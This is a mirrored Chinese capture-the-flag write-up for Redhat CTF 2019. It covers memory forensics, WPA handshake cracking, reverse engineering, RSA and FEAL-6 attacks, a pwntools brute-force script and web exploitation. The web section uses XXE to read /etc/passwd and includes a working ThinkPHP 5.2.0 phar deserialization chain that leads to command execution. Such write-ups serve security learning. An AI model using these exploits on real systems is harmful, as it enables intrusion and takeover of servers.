[Mirror] Writeup for Redhat CTF 2019 by X1cT34m

This is a mirror of the post at https://xz.aliyun.com/t/6746

前言

有一说一,题目质量比隔壁某py大赛高多了。

MISC

签到

答问卷得flag

Advertising for Marriage

拿到一个raw文件,应该是内存取证,掏出volatility,不知道为啥kali自带的识别不出镜像信息,换ubuntu才ok,迷。

#查看镜像信息: 
$ volatility -f 1.raw imageinfo
Volatility Foundation Volatility Framework 2.5
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/home/yulige/Desktop/1.raw)
                      PAE type : PAE
                           DTB : 0xaf9000L
                          KDBG : 0x80545ce0L
          Number of Processors : 1
     Image Type (Service Pack) : 2
                KPCR for CPU 0 : 0xffdff000L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2019-10-31 07:15:35 UTC+0000
     Image local date and time : 2019-10-31 15:15:35 +0800
#查看进程
$ volatility -f 1.raw --profile=WinXPSP2x86 psscan
#发现有mspaint.exe和notepad.exe,pid分别是332和1056,将其dump出来
$ volatility -f 1.raw --profile=WinXPSP2x86 memdump -p 332 --dump-dir=./
$ volatility -f 1.raw --profile=WinXPSP2x86 memdump -p 1056 --dump-dir=./

然后在notepad进程dump出来的东西里面去查找字符串,找到:

图片

hint:????needmoneyandgirlfirend

前面四个问号应该是掩码,先不管这个。 然后根据mspaintdump出来的bmp文件改后缀为data,参考:https://segmentfault.com/a/1190000018813033

然后将分辨率改为1280*1024,位移改为770000左右可以看到一个图。

图片

因为是反过来看的所以是b1cx,然后加上前面的hint,结合起来就是b1cxneedmoneyandgirlfirend。

$ volatility -f 1.raw --profile=WinXPSP2x86  filescan | grep -E 'jpg|png|jpeg|bmp|gif'
Volatility Foundation Volatility Framework 2.5
0x00000000020d5190      1      0 R--rwd \Device\HarddiskVolume1\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\Administrator.bmp
0x000000000247c1a8      1      0 R--rwd \Device\HarddiskVolume1\WINDOWS\Web\Wallpaper\Bliss.bmp
0x000000000249ae78      1      0 R--r-- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\vegetable.png
0x0000000002511c70      1      0 R--rwd \Device\HarddiskVolume1\WINDOWS\ime\IMJP8_1\DICTS\imjpgn.grm
# 可以看到桌面上有一个vegetable.png,将它dump出来。
$ volatility -f 1.raw --profile=WinXPSP2x86 dumpfiles -Q 0x000000001efb29f8 -n --dump-dir=./

拿到图片之后发现crc32校验过不去,用网上找的脚本跑一下,改高度。 参考链接:https://www.cnblogs.com/WangAoBo/p/7108278.html

# -*- coding: utf-8 -*-
import binascii
import struct
crc32key = 0xB80A1736
for i in range(0, 65535):
  height = struct.pack('>i', i)
  #CRC: CBD6DF8A
  data = '\x49\x48\x44\x52\x00\x00\x01\x1F' + height + '\x08\x06\x00\x00\x00'
  crc32result = binascii.crc32(data) & 0xffffffff
  if crc32result == crc32key:
    print ''.join(map(lambda c: "%02X" % ord(c), height))

改完高度是:

图片

然后用ps锐化处理,但是后几位实在是看不清。没办法。太佛了。

用zsteg跑一下,发现有东西,但是dump不出来,想到是lsb带密码的加密,密码应该就是hint。

然后用脚本解密出来之后是:VmlyZ2luaWEgY2lwaGVydGV4dDpnbnh0bXdnN3IxNDE3cHNlZGJzNjI1ODdoMA==

解密base64:Virginia ciphertext:gnxtmwg7r1417psedbs62587h0

拿去在线网站爆破密钥恢复明文试试,毫无卵用。

然后突然想到上面的那个打码的图片,好像也有1417的样子,维吉尼亚是不会变数字的,那么如果数字的位置不变的话。那么把{}改成is,位数好像刚好对的上,1417的位置也刚好对的上。

图片

然后如果猜测是对的话,那么前六位的密钥是bcxnee。这个bcxnee不就是刚好刚刚hint把数字去掉么,脑洞大开,想到密钥就是hint去掉前面那个1

图片

不知道是不是,带flag格式交一下试试,对了。

flag{d7f1417bfafbf62587e0}

恶臭的数据包

无线wifi流量包,套路走一波。

#查看essid
root@kali:~/Desktop# aircrack-ng cacosmia.cap
Opening cacosmia.cap
Read 4276 packets.
   #  BSSID              ESSID                     Encryption
   1  1A:D7:17:98:D0:51  mamawoxiangwantiequan     WPA (1 handshake)
Choosing first network as target.
                                 Aircrack-ng 1.3
Passphrase not in dictionary
Please specify a 151/235 keys tested w).
      Time left: 0 seconds                                      64.26%
Quitting aircrack-ng...
#爆破密码
root@kali:~/Desktop# aircrack-ng cacosmia.cap -w /usr/share/wordlists/fern-wifi/common.txt
Opening cacosmia.cap
Read 4276 packets.
[00:00:00] 16/688 keys tested (1029.20 k/s)
Time left: 0 seconds                                       2.33%
                   KEY FOUND! [ 12345678 ]

Master Key     : B4 2C 77 C0 A8 F4 E6 E9 9F 85 1B ED 7B 3F 5A 91
               3C AA D4 42 B9 6D 5C D2 A1 90 E3 F9 75 B3 6D 9F
Transient Key  : 8B D7 4A 1F 2A 0D B7 40 C1 3B BC C9 13 60 46 E5
               49 4E 9B 9A AF BD E3 89 33 5A 73 C8 95 AC 53 94
               AF 92 D1 D9 ED E4 B2 AF 40 C1 03 D8 98 2D 8A 90
               00 58 39 CF C2 9E B9 80 A2 D5 86 57 9A 00 00 00
EAPOL HMAC     : D8 97 A1 FD CF F2 87 89 6A 19 EF 14 44 33 E0 3C
#用essid和密码解密流量包
root@kali:~/Desktop# airdecap-ng cacosmia.cap -e mamawoxiangwantiequan -p 12345678
Total number of packets read          4276
Total number of WEP data packets         0
Total number of WPA data packets       685
Number of plaintext data packets         0
Number of decrypted WEP  packets         0
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets       538

然后wireshark打开解密的流量包,发现有一个png图片。

图片

winhex打开发现末尾有个压缩包,提取出来之后发现要密码,不知道密码是啥,爆破无果,后来回到压缩包发现jwt的session。

解密看看:

图片

说密码是一个网站,总共就没几个包,在一个udp包里面找到:

图片

这个就是密码,打开拿到flag。

flag{f14376d0-793e-4e20-9eab-af23f3fdc158}

RE

xx

根据题目可以猜到是xxtea,这边再加一个换位xor操作 整回来后解一次xxtea就行 key是输入的前四 但是不知道前四是啥 所以猜是flag 然后出了

1
2
3
4
5
6
7
8
# -*- coding: UTF-8 -*-
import xxtea
text = "1111111111111111111"
key = "flag"
#encrypt_data = xxtea.encrypt(text, key)
encrypt_data = 'bca5ce40f4b2b2e7a9129d12ae10c85b3dd7061ddc70f8dc'.decode('hex')
decrypt_data = xxtea.decrypt(encrypt_data, key)
print decrypt_data

easyRE

step1:输入

Info:The first four chars are `flag`

最后发现主要看sub_400D35 和上一题一个套路 猜前4密文xorkey是flag 然后就出了 比较简单不贴脚本

calc

三次输入 中间有sleep直接patch了 先对输入进行了平方 FF0是pow函数 然后是乘4 A90是mul函数 然后对第二个输入 乘3 平方 对第三个输入 他先用7 * input3 然后result**input3 我佛了 下面是对输入的判断 input2<input1<input3 //应该是这个,没有仔细看 然后对三个输入之间进行一些蛇皮操作后就来最终check了 对了就有flag //check大小完后的操作 550函数为add 7E0函数为del

//我输入是 222 123 321
a = mul(3,input1)
b = mul(a,input1)	//147852
c = mul(b,input2)	//18185796
pow(input2,2)		//15129

a = mul(3,input1)		//666
b1 = mul(a,input2)   //input2已经平方 10075914
a = add(a,b1)	//10076580
a = add(input1,input2)
b2 = pow(a,3)		//41063625
b3 = del(b2,b1)			//30987711
temp0 = del(b3,c)				//12801915


a = mul(48,input3)		//15408
b = mul(12,input3)		//3852
c = mul(b,input3)		//1236492
d = add(4,input3)		//325
x = pow(d,3)		//34328125
temp1 = del(x,c)			//33091633
temp2 = del(temp1,a)					//33076225
temp3 = del(temp2,22)	//33076203
if(temp3==temp0)
    cat flag

最终化简是x**3+y**3==z**3+42

想起了中科大的某道数学题的第一小题

x, y , z = (80435758145817515, 12602123297335631, 80538738812075974)

childRE

c++符号修饰 UnDecorateSymbolName反修饰后会变成private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)

网上百度修饰资料

?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z 发现应该是上面 但是程序对输入进行一次换位 所以整回来Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP就是输入

PWN

three

三字节shellcode执行权限,v3其实就是flag。。。写对比控制v5,最后是用mov eax,edx来的爆破。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
name_addr=0x080F6CC0
context(os='linux',arch='i386')
jmp='''
mov eax,edx
ret
'''
jm=asm(jmp)
flag=''
to_fxxk=0
print hex(len(jm))
while True:
	for i in range(0x10,0x200):
		r=remote('47.104.190.38',12001)
		r.recvuntil(' index:')
		r.sendline(str(to_fxxk))
		r.recvuntil('y much!')
		r.send(jm)
		r.recvuntil('f size:')
		r.sendline(str(i))
		r.recvuntil('me:')
		r.send('a')
		r.recvline()
		leak=int(r.recv(1),10)
		print leak
		print i
		if leak == 1:
			flag+=chr(i-1)
			to_fxxk+=1
			if i-1==ord('}'):
				pause()
			print flag
			break
		r.close()

Crypto

msg = pad(flag),48字节长,384位。

s0, s1, s2 = msg的低128位,中128位,高128位。

给了

其中

要求的是s0, s1, s2。


由题名Related想到了ctfwiki上的Related Message Attack

不过这一题显然要更复杂一点。

好在wiki这个栏目的下面给出了拓展阅读:

paper: https://www.cs.unc.edu/~reiter/papers/1996/Eurocrypt.pdf

找到了一个推广的结论

一边翻SageMath文档,一边写的exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
n = 16084923760264169099484353317952979348361855860935256157402027983349457021767614332173154044206967015252105109115289920685657394517879177103414348487477378025259589760996270909325371731433876289897874303733424115117776042592359041482059737708721396118254756778152435821692154824236881182156000806958403005506732891823555324800528934757672719379501318525189471726279397236710401497352477683714139039769105043411654493442696289499967521222951945823233371845110807469944602345293068346574630273539870116158817556523565199093874587097230314166365220290730937380983228599414137341498205967870181640370981402627360812251649
s = 280513550110197745829890567436265496990
c1 = 10607235400098586699994392584841806592000660816191315008947917773605476365884572056544621466807636237415893192966935651590312237598366247520986667580174438232591692369894702423377081613821241343307094343575042030793564118302488401888197517625333923710172738913771484628557310164974384462856047065486913046647133386246976457961265115349103039946802386897315176633274295410371986422039106745216230401123542863714301114753239888820442112538285194875243192862692290859625788686421276234445677411280606266052059579743874849594812733193363406594409214632722438592376518310171297234081555028727538951934761726878443311071990
c2 = 2665348075952836665455323350891842781938471372943896177948046901127648217780657532963063228780230203325378931053293617434754585479452556620021360669764370971665619743473463613391689402725053682169256850873752706252379747752552015341379702582040497607180172854652311649467878714425698676142212588380080361100526614423533767196749274741380258842904968147508033091819979042560336703564128279527380969385330845759998657540777339113519036552454829323666242269607225156846084705957131127720351868483375138773025602253783595007177712673092409157674720974653789039702431795168654387038080256838321255342848782705785524911705
c3 = 4881225713895414151830685259288740981424662400248897086365166643853409947818654509692299250960938511400178276416929668757746679501254041354795468626916196040017280791985239849062273782179873724736552198083211250561192059448730545500442981534768431023858984817288359193663144417753847196868565476919041282010484259630583394963580424358743754334956833598351424515229883148081492471874232555456362089023976929766530371320876651940855297249474438564801349160584279330339012464716197806221216765180154233949297999618011342678854874769762792918534509941727751433687189532019000334342211838299512315478903418642056097679717

R.<x, y, z> = Zmod(n)[]
I = ideal(x + y + z - s, x^17 - c1, y^17 - c2, z^17 - c3)
res = I.groebner_basis()

m1 = n - long(res[0] - x)
m2 = n - long(res[1] - y)
m3 = n - long(res[2] - z)
m = (long(m3<<256) + long(m2<<128) + long(m1))
print hex(m)[2:].strip('L').decode('hex')

flag{bf684fc7-5398-4bf3-ad5f-cfe3dc53a202}

paper看的快,拿了一血

赛后对比官网wp ,发现其实只要s0, s1, s2s = s0+s1+s2这四个关系式即可解出,并不需要s3。

Broadcast

附件给错了,打开task.py直接获得flag

flag{fa0f8335-ae80-448e-a329-6fb69048aae4}

手速快,又拿了一血

精明的Alice

题目名字说是Broadcast,实际上并不是简单的广播攻击。

简单的广播攻击,前提是对同一个m加密:

在这一题里,显然每一次的m都不一样,而且e=3的时候,就2个其他用户(明密文对)。

每一次的m都是由

  1. from Alice (每次都相同)
  2. to name(每次都不同)
  3. msg (每次都相同)

生成,其中只有'to' : name会变。

又由于有一个data = json.dumps(data, sort_keys=True),会根据这个data字典的key来排序,使得最终的data变成了:

name用的Bobmsg(试验)选择的是95个'1'

可以发现,msg会被排序至中间这个位置。

m = high + mid + low

high就是对应的'from' : Alicemid就是对应的'msg' : msglow就是对应的'to' : name

每一个m高、中位都是不变的,只不过低位变了而已。


highlow都是已知(可以算出来)的,我们想要求的东西,就是这个mid

这就让我想到了之前SCTF的一道Broadcast Attack with Linear Padding

我们可以把每一次的m看成

其中

且x仅为95*8=760位。

利用Broadcast Attack with Linear Padding

可以算出多项式

small root

small root要求是要小于模数n1/e次方,而x为760位,760*3=2280>2048=1024*2,所以需要用到两组加密使模数的位数增大为4096位,使得760位的x能够是small root

sage:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from functools import reduce

n = [11743537468135317101480488020144809201914936988461977176868954193874417724397531738707729413940060004291802011501577549223271797288223565654061393379024948557114873802484065401046235691942131446370168987779343797500311519782297945918303703564655987952282482715476136773764831205732478344688915636069116516770855051840466960976764092858799500910720099908106249684080240663853178927556249049193503151085654884527269002477666950572742679984293662085069728877459286849951188181117702216469759179036558783079196215512501682142798495265635852347494193629555160491782509569392767123686061925883459482937083314597325931324903,
    14457209969884668177708697333084651442256193118762305783886170334587420837310297145702128170106972242068185696834421424217621080232658721763477597612126355466640947700608787202555955170003838596141926637700553638034795412618607691704863949191711837596504911369550275265047485577345602266210861036695691235637536527380239331718278464709412846966181787795995822367966392084870050879397930114908541580226650851547317522603090899886280170245299959983054236157294287800393659291904879499563552223080590816177114742527572796924746954499447982388532224932540152177949556088321209870823140903366811600475984145194404542130227]
c = [8190049298225986645065639656298172597926128706450768371303258134744480067344252838541490888036183464705944304534788993901104793815361341756431217860700928158019252752618919437673052832128577726977953950790902559970309709239504865249701468783648614158118356226876181834829777260079340923537145106302704145961190836661375363413110097880213997662546161624163926197325967768410253429584704238310212909716376684130921549808859640649278922277248496022978656354003386568276074858346316327173050731369576404526308212891898482132494538059251451015302281630189059974681450654073047538089109981563439870031087270051532901896822,
    12118101166054737713386215385862569765107262982956699621223784645643668203345111850159614142861485707244381466506582226100758646240135249724760825645393433062905277245716757630096083674730526877271237776864887538290354358982569685278734177038607779153674199245850037034568957234569159850767151815484600506473286544739506911281943726669304436835800686344966600632518764992677531015390701093253398220813342080495059893716294823513371481710159387645437923515728187314225175839309059255201792376404426500260584133880852811820804606509557432184294402579927159295465411669899092463872169344366863225658285149101653314280770]
a = [1, 1]
# b_i = high + low_i
b=[15544274873612998989866379328566946388285248570806564503108352867340017880252665817613208325183832507901409765669821491355202065667225050801744228447515864518584620720787409961012061302114074543857882368586098987225919736280924738224995075370843988377198544539266275729089636607095220506662375139381261384398438998662059177913249680151096549632879238896603189241688956490787338355571799212913598318011639865738648621731434747681682396930715043552472778331701738091587062917693835229391950847730617837543337471998802061973389340720433170042633451884844390746043635079083497185464124715717119052915013438803576714502781,
   15544274873612998989866379328566946388285248570806564503108352867340017880252665817613208325183832507901409765669821491355202065667225050801744228447515864518584620720787409961012061302114074543857882368586098987225919736280924738224995075370843988377198544539266275729089636607095220506662375139381261384398438998662059177913249680151096549632879238896603189241688956490787338355571799212913598318011639865738648621731434747681682396930715043552472778331701733991049485714120357663081338580983163588987883815040112341393183479429685436337175694444720513269496978577270272192766705854550355666404326847416678342795901]

def chinese_remainder(n, a):
    sum = 0
    prod = reduce(lambda a, b: a * b, n)
    for n_i, a_i in zip(n, a):
        p = prod // n_i
        sum += a_i * inverse_mod(p, n_i) * p
    return int(sum % prod)

T = []
T.append(chinese_remainder([n[0],n[1]],[1,0]))
T.append(chinese_remainder([n[1],n[0]],[1,0]))


N = n[0]*n[1]
P.<x> = PolynomialRing(Zmod(N))

g=0
for i in range(2):
    g += ((a[i]*x *2^608 + b[i])^3 - c[i])*T[i]
g = g.monic()
x = g.small_roots()[0]
print x
print hex(long(x))[2:].strip('L').decode('hex')
# 1714661166087377473014475529806516832214035482305327415277479703776481564871479523924321275498885242003713793314464965569235093750357822116766965311615937698169583931123673327349849371866141948995747458407120138743748898874096942
# Hahaha, Hastad's method don't work on this. Flag is flag{6b6c9731-5189-4937-9ead-310494b8f05b}.

flag{6b6c9731-5189-4937-9ead-310494b8f05b}

话说,msg的内容和给错附件的那道基本上差不多,就flag内容不同。直接把flag括号里的内容当成未知量(仅286位),一组加密直接求small root就可以完事了。

这题出题人肯定没想到Hastad's method仍然适用,只需要2组e=3的加密就可以解出来,而并不需要像官方wp那样需要2组e=3的加密和2组e=5的加密才能解。

为了看比赛,又双叒叕拿了一血。 fpxnb!

Boom

这一题比赛的时候没有做出来,否则我们队就第一了。。

赛后去稍微看了一下Differential Cryptoanalysis,再结合官网wp 里的关键词Boomerang Attack,学习了一下,才做出来。


task.py文件中,主要看下面这两个加密和解密的函数。

image-20191114212114788

很像是CBC模式,但是在经过Feal6后又多了一次异或操作。

画了2个简略图

encrypt函数:

decrypt函数

从中,不难推出如何获取任意的c = Feal6.encrypt(m)m = Feak6.decrypt(c)

注意区分task.py文件中的encrypt函数和Feal6.encrypt函数!

想要获得任意mFeal6加密后的密文c,只需:

第一次先发过去b'\x00' * 32经过encrypt函数,得到p1 = b'\x00' * 16Feal6加密后的密文c1

第二次发送b'\x00' * 32 + (c1 ^ m),得到的c2即为Feal6.encrypt(m)

解密与此类似。

第一次先发过去b'\x00' * 32经过decrypt函数,得到c1 = b'\x00' * 16Feal6解密后的明文p1

第二次发送b'\x00' * 32 + (p1 ^ c),得到的p2即为Feal6.encrypt(c)

仔细观察上面两图即可验证,在此不深入证明。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
def encrypt(plain):
    r.sendline('/enc ' + '0'*32)
    c1 = int(r.recvline().strip()[16:32], 16)

    r.sendline('/enc ' + '0'*32 + hex(c1 ^ plain)[2:].zfill(16) )
    c2 = int(r.recvline().strip()[32:48], 16)
    return c2

def decrypt(cipher):
    r.sendline('/dec ' + '0'*32)
    p1 = int(r.recvline().strip()[16:32], 16)
    x = p1 ^ cipher

    r.sendline('/dec ' + '0'*32 + hex(x)[2:].zfill(16))
    p2 = int(r.recvline().strip()[32:48], 16)
    return p2

再来看如何获得flag:

发过去的内容前5个字节只能是/enc , /dec , /cmd , /exit,分别对应encrypt, decrypt, exec, exit功能。

  • /exit:直接退出。
  • /enc :将选项后面的字节传入encrypt函数,返回函数结果。
  • /dec :将选项后面的字节传入decrypt函数,返回函数结果。
  • /cmd:将选项后面的八字节先经过Feal6解密,解密后的结果的开头只能是cat, ls, pwd这三个命令,并执行。

我们可以通过上面那个获取任意c = Feal6.encrypt(m)来获取以上三个命令的密文,并发送过去/cmd {Feal6.encrypt(cmd)}即可执行命令。

ls, pwd执行结果均没有问题,问题出在了cat无法执行。

百思不得其解。。。

后来在Feal6.py文件中发现了问题所在:

woc,原来出题人在这里有限制,无法对含有cat的明文进行Feal6加密!

我就说,不然这题也太水了,跟前面两道不是一个档次。原来出题人在这个地方有限制。。。

我们必须要获得cat flag被加密的密文,要绕过那个加密函数来获得密文。

加密模式那边肯定是无法获得这个密文的,那么问题很可能就出现在这个Feal6加密算法上!

Google搜到,Feal系列算法很菜,防不住很多攻击,最主要的就是差分攻击(Differential Cryptoanalysis)。

wiki 里说只要100个明密文对,分分钟破解这个Feal-6

当时已经半夜1,2点了,实在肝不动了,以为这一题就是要先获取100个明密文对,然后本地算出subkeys,然后本地加密cat flag获得密文。但又想了想,服务器连接时间是有限制的,破解subkeys应该还是要点时间的,好像不太可行。。


后来,看到官方wp说是Boomerang Attack,并找了几篇关于Feal-6的文章学习了一下。

以及一个关于Boomerang Attackyoutube视频

image-20191114222538307

看到这里的时候,我茅塞顿开,原来真的可以绕过!!!

image-20191114222710539

What a beautiful circuit!

tql!!!

P0 = b'cat flag',我们要获取P0加密后的密文。

我们可以通过P0 -> P1 -> C1 -> C3 -> P3 -> P2 -> C2 -> C0来绕过。

具体内容可以看上面提供的资料。


exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# python2
import string
from pwn import *
from itertools import product
import hashlib
from Crypto.Util.number import *

host, port = '', 10000
r = remote(host, port)

# context.log_level = 'debug'

def encrypt(plain):
    r.sendline('/enc ' + '0'*32)
    c1 = int(r.recvline().strip()[16:32], 16)

    r.sendline('/enc ' + '0'*32 + hex(c1 ^ plain)[2:].zfill(16) )
    c2 = int(r.recvline().strip()[32:48], 16)
    return c2

def decrypt(cipher):
    r.sendline('/dec ' + '0'*32)
    p1 = int(r.recvline().strip()[16:32], 16)
    x = p1 ^ cipher

    r.sendline('/dec ' + '0'*32 + hex(x)[2:].zfill(16))
    p2 = int(r.recvline().strip()[32:48], 16)
    return p2


# PoW
rcv = r.recvline().strip()
suffix = rcv.split('+')[1].split(')')[0]
dig = rcv.split('==')[1].strip()

for prefix in product(string.ascii_letters+string.digits, repeat=4):
    guess = ''.join(prefix)
    if hashlib.sha256(guess + suffix).hexdigest() == dig:
        break
r.sendline(guess)


r.recvuntil("Let's boom!!!\n")
r.recvuntil('\n')


# construct payload
cat = 7161132565001953639    # b'cat flag'
delta = 0x0200000282808082

p0 = cat
p1 = cat ^ delta
c1 = encrypt(p1)
c3 = c1 ^ delta
p3 = decrypt(c3)
p2 = p3 ^ delta
c2 = encrypt(p2)
c0 = c2 ^ delta

r.sendline('/cmd ' + hex(c0)[2:].zfill(16))

r.interactive()

比赛结束后环境没了,只能本地测试,结果如下:

image-20191114224823841

web

Ticket_System

首先postXML页面存在有XXE漏洞,定义名为XXE的外部实体并尝试使用file协议将etc/passwd文件的内容取出,赋值给了实体,成功读取靶机/etc/passwd的内容

图片

XXE漏洞存在,读取根目录下的hints.txt得知需要实现rce,此时联想到除了file协议XXE同样能执行phar协议,并且从报错页面得知thinkphp的版本为5.2.0,利用thinkphp的反序列化链即可实现rce。

首先创建phar.php,文件内容如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}
 
namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("Smi1e" => "1");
    }
 
    trait Attribute
    {
        private $data;
        private $withAttr = array("Smi1e" => "system");
 
        public function get($system)
        {
            $this->data = array("Smi1e" => "$system");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}
 
namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct($system)
        {
            $this->get($system);
        }
    }
}
 
namespace {
    $Conver = new think\model\Pivot("ls");
    $payload = new think\process\pipes\Windows($Conver);
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($payload); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    echo urlencode(serialize($payload));
}
?>

生成phar.phar文件后将后缀修改为xml后上传文件(文件上传功能只允许我们上传xml文件到tmp目录下),文件成功上传后得到绝对路径,此时再到postXML页面将执行语句修改为phar:///tmp/uploads/生成的文件名.xml,即可实现phar文件的反序列化从而执行任意命令

图片

读取到根目录中存在有readflag程序,尝试调用,修改执行语句为./readflag

图片

是*ctf的一道原题,上传perl脚本后执行得到flag

图片